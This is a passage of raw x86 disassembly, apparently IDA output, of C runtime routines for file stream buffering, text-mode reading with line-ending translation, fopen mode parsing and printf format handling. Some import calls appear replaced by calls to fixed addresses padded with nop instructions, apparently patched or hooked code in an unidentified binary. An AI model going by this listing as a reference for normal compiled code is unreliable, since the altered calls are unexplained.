; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; =============== S U B R O U T I N E =======================================
sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p
; sub_41BB4F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F117
test al, 40h
jnz loc_41F117
test al, 2
jz short loc_41F069
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F117
; ---------------------------------------------------------------------------
loc_41F069: ; CODE XREF: sub_41F043+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F07D
push esi
call sub_4239EF
pop ecx
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F07D: ; CODE XREF: sub_41F043+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F082: ; CODE XREF: sub_41F043+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F106
cmp eax, 0FFFFFFFFh
jz short loc_41F106
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F0DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F0C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DCCA0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F0C9
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F043+6Bj
mov edi, offset dword_43D030
loc_41F0C9: ; CODE XREF: sub_41F043+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F0DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F0DB: ; CODE XREF: sub_41F043+62j
; sub_41F043+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F0F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F0F8
test ch, 4
jnz short loc_41F0F8
mov dword ptr [esi+18h], 1000h
loc_41F0F8: ; CODE XREF: sub_41F043+9Fj
; sub_41F043+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F106: ; CODE XREF: sub_41F043+55j
; sub_41F043+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F117: ; CODE XREF: sub_41F043+Aj
; sub_41F043+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F11C proc near ; CODE XREF: sub_41B11A+90p
; sub_41F043+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DCDA0
jnb loc_41F2F9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DCCA0h[eax*4]
mov eax, dword_4DCCA0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F2F9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F1D1
test dl, 2
jnz short loc_41F1D1
test dl, 48h
jz short loc_41F191
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F191
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F191: ; CODE XREF: sub_41F11C+56j
; sub_41F11C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 2730000h
test eax, eax
jnz short loc_41F1E4
call near ptr 26B0857h
nop
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F1CC
mov dword_4DB958, 9
mov dword_4DB95C, ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1CC: ; CODE XREF: sub_41F11C+99j
cmp eax, 6Dh
jnz short loc_41F1D8
loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj
; sub_41F11C+51j
xor eax, eax
jmp loc_41F30D
; ---------------------------------------------------------------------------
loc_41F1D8: ; CODE XREF: sub_41F11C+B3j
push eax
call sub_4203DF
pop ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F2F4
test edx, edx
jz short loc_41F209
cmp byte ptr [edi], 0Ah
jnz short loc_41F209
or al, 4
jmp short loc_41F20B
; ---------------------------------------------------------------------------
loc_41F209: ; CODE XREF: sub_41F11C+E2j
; sub_41F11C+E7j
and al, 0FBh
loc_41F20B: ; CODE XREF: sub_41F11C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F2EE
loc_41F223: ; CODE XREF: sub_41F11C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F2DE
cmp al, 0Dh
jz short loc_41F23F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F23F: ; CODE XREF: sub_41F11C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F25D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F254
add [ebp+arg_8], 2
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F11C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41F11C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 2730000h
nop
test eax, eax
jnz short loc_41F285
nop
call near ptr 26B0857h
test eax, eax
jnz short loc_41F2CC
loc_41F285: ; CODE XREF: sub_41F11C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F2CC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F2A7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F2B2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F2A7: ; CODE XREF: sub_41F11C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F2B7
cmp [ebp+var_1], 0Ah
jnz short loc_41F2B7
loc_41F2B2: ; CODE XREF: sub_41F11C+136j
; sub_41F11C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F2CF
; ---------------------------------------------------------------------------
loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej
; sub_41F11C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42272B
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F2D0
loc_41F2CC: ; CODE XREF: sub_41F11C+167j
; sub_41F11C+16Dj
mov byte ptr [edi], 0Dh
loc_41F2CF: ; CODE XREF: sub_41F11C+199j
inc edi
loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej
; sub_41F11C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F223
jmp short loc_41F2EE
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F2EE
or al, 2
mov [esi], al
loc_41F2EE: ; CODE XREF: sub_41F11C+101j
; sub_41F11C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F2F4: ; CODE XREF: sub_41F11C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F30D
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F11C+12j
; sub_41F11C+39j
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_41F30A: ; CODE XREF: sub_41F11C+ABj
; sub_41F11C+C3j
or eax, 0FFFFFFFFh
loc_41F30D: ; CODE XREF: sub_41F11C+B7j
; sub_41F11C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F11C endp
; =============== S U B R O U T I N E =======================================
sub_41F312 proc near ; CODE XREF: sub_41B202+126p
; sub_41B202+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DB9D8
test eax, eax
jz short loc_41F32A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F32A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F312+7j
; sub_41F312+12j
xor eax, eax
retn
sub_41F312 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBB44
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F366
cmp al, 72h
jz short loc_41F35F
cmp al, 77h
jnz loc_41F47A
mov ecx, 301h
jmp short loc_41F36B
; ---------------------------------------------------------------------------
loc_41F35F: ; CODE XREF: sub_41F32D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F366: ; CODE XREF: sub_41F32D+1Dj
mov ecx, 109h
loc_41F36B: ; CODE XREF: sub_41F32D+30j
or esi, 2
loc_41F36E: ; CODE XREF: sub_41F32D+37j
push 1
pop edx
loc_41F371: ; CODE XREF: sub_41F32D+8Bj
; sub_41F32D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F460
cmp edx, ebx
jz loc_41F460
movsx eax, al
cmp eax, 54h
jg short loc_41F3FF
jz short loc_41F3EF
sub eax, 2Bh
jz short loc_41F3D9
sub eax, 19h
jz short loc_41F3CF
sub eax, 0Eh
jz short loc_41F3BA
dec eax
jnz loc_41F451
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj
test cl, 40h
jnz short loc_41F451
or ecx, 40h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F32D+65j
test cl, 2
jnz short loc_41F451
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3EF: ; CODE XREF: sub_41F32D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F451
or ecx, eax
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej
sub eax, 62h
jz short loc_41F44C
dec eax
jz short loc_41F435
sub eax, 0Bh
jz short loc_41F41E
sub eax, 6
jnz short loc_41F451
test ch, 0C0h
jnz short loc_41F451
or ch, 40h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F41E: ; CODE XREF: sub_41F32D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41F32D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F44C: ; CODE XREF: sub_41F32D+D5j
test ch, 0C0h
jz short loc_41F458
loc_41F451: ; CODE XREF: sub_41F32D+72j
; sub_41F32D+7Bj ...
xor edx, edx
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F32D+122j
or ch, 80h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F32D+4Aj
; sub_41F32D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423A33
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F47E
loc_41F47A: ; CODE XREF: sub_41F32D+25j
xor eax, eax
jmp short loc_41F498
; ---------------------------------------------------------------------------
loc_41F47E: ; CODE XREF: sub_41F32D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBB40
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F498: ; CODE XREF: sub_41F32D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F32D endp
; =============== S U B R O U T I N E =======================================
sub_41F49D proc near ; CODE XREF: sub_41B4A2p
mov edx, dword_4DCC80
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F50E
mov ebx, dword_4DBC78
mov edi, ebx
loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F4D4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F4CF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F4B9
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4CF: ; CODE XREF: sub_41F49D+26j
mov esi, [ebx+eax*4]
jmp short loc_41F4F8
; ---------------------------------------------------------------------------
loc_41F4D4: ; CODE XREF: sub_41F49D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B4D5
pop ecx
mov ecx, dword_4DBC78
mov [edi+ecx], eax
mov eax, dword_4DBC78
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F50E
mov esi, edi
loc_41F4F8: ; CODE XREF: sub_41F49D+35j
cmp esi, ebp
jz short loc_41F50E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F50E: ; CODE XREF: sub_41F49D+12j
; sub_41F49D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p
; sub_41B6EE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F533
mov ecx, off_43C9D8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F585
; ---------------------------------------------------------------------------
loc_41F533: ; CODE XREF: sub_41F515+10j
mov ecx, eax
push esi
mov esi, off_43C9D8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F558
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F561
; ---------------------------------------------------------------------------
loc_41F558: ; CODE XREF: sub_41F515+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F561: ; CODE XREF: sub_41F515+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423CEC
add esp, 1Ch
test eax, eax
jnz short loc_41F581
leave
retn
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F515+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F585: ; CODE XREF: sub_41F515+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F58A proc near ; CODE XREF: sub_41B886+46p
; sub_41B980+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F693
test al, 40h
jnz loc_41F693
test al, 1
jz short loc_41F5C2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F693
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F5C2: ; CODE XREF: sub_41F58A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F5FC
cmp esi, offset dword_43D0E8
jz short loc_41F5EA
cmp esi, offset dword_43D108
jnz short loc_41F5F5
loc_41F5EA: ; CODE XREF: sub_41F58A+56j
push ebx
call sub_423E35
test eax, eax
pop ecx
jnz short loc_41F5FC
loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej
push esi
call sub_4239EF
pop ecx
loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej
; sub_41F58A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F669
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F62C
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F62C: ; CODE XREF: sub_41F58A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F647
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCCA0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F647: ; CODE XREF: sub_41F58A+A5j
mov eax, offset dword_43D030
loc_41F64C: ; CODE XREF: sub_41F58A+BBj
test byte ptr [eax+4], 20h
jz short loc_41F65F
push 2
push 0
push ebx
call sub_42272B
add esp, 0Ch
loc_41F65F: ; CODE XREF: sub_41F58A+A0j
; sub_41F58A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F67D
; ---------------------------------------------------------------------------
loc_41F669: ; CODE XREF: sub_41F58A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F67D: ; CODE XREF: sub_41F58A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F689
or dword ptr [esi+0Ch], 20h
jmp short loc_41F698
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F58A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F69B
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F58A+10j
; sub_41F58A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F698: ; CODE XREF: sub_41F58A+FDj
or eax, 0FFFFFFFFh
loc_41F69B: ; CODE XREF: sub_41F58A+107j
pop esi
pop ebx
pop ebp
retn
sub_41F58A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F69F proc near ; CODE XREF: sub_41B886+29p
; sub_41B980+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FDB8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F6D3
; ---------------------------------------------------------------------------
loc_41F6CB: ; CODE XREF: sub_41F69F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj
cmp [ebp+var_14], edx
jl loc_41FDB8
cmp bl, 20h
jl short loc_41F6F4
cmp bl, 78h
jg short loc_41F6F4
movsx eax, bl
mov al, [eax+427734h]
and eax, 0Fh
jmp short loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F69F+40j
; sub_41F69F+45j
xor eax, eax
loc_41F6F6: ; CODE XREF: sub_41F69F+53j
movsx eax, byte_427754[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FDA7 ; default
jmp off_41FDC0[eax*4] ; switch jump
loc_41F714: ; DATA XREF: ___:off_41FDC0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F72F: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 2
sub eax, 20h
jz short loc_41F772
sub eax, 3
jz short loc_41F769
sub eax, 8
jz short loc_41F760
dec eax
dec eax
jz short loc_41F757
sub eax, 3
jnz loc_41FDA7 ; default
or [ebp+var_4], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F69F+A4j
or [ebp+var_4], 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F760: ; CODE XREF: sub_41F69F+A0j
or [ebp+var_4], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F769: ; CODE XREF: sub_41F69F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F772: ; CODE XREF: sub_41F69F+96j
or [ebp+var_4], 2
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 3
jnz short loc_41F7A3
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FDA7 ; default
or [ebp+var_4], 4
neg eax
loc_41F79B: ; CODE XREF: sub_41F69F+111j
mov [ebp+var_20], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7A3: ; CODE XREF: sub_41F69F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F79B
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov [ebp+var_10], edx ; jumptable 0041F70D case 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 5
jnz short loc_41F7DD
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FDA7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 49h ; jumptable 0041F70D case 6
jz short loc_41F822
cmp bl, 68h
jz short loc_41F819
cmp bl, 6Ch
jz short loc_41F810
cmp bl, 77h
jnz loc_41FDA7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F810: ; CODE XREF: sub_41F69F+15Dj
or [ebp+var_4], 10h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F819: ; CODE XREF: sub_41F69F+158j
or [ebp+var_4], 20h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F822: ; CODE XREF: sub_41F69F+153j
cmp byte ptr [edi], 36h
jnz short loc_41F83B
cmp byte ptr [edi+1], 34h
jnz short loc_41F83B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
